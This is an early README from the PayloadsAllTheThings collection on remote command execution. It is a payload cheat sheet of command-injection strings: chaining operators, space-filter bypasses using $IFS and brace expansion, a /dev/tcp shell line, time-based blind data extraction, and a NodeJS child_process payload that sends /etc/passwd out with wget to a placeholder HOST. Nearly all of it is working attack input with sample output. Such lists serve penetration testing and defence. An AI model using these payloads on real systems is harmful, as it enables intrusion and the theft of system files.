PayloadsAllTheThings/Remote commands execution/README.md
2017-03-03 21:41:00 +01:00

65 lines
1.6 KiB
Markdown

# Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
## Exploits
Normal code execution, execute the command and voila :p
```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```
Code execution by chaining commands
```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
```
Code execution without space
```
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```
## Time based data exfiltration
Extracting data : char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
## Environment based
NodeJS Code execution
```
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
```
## Thanks to
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)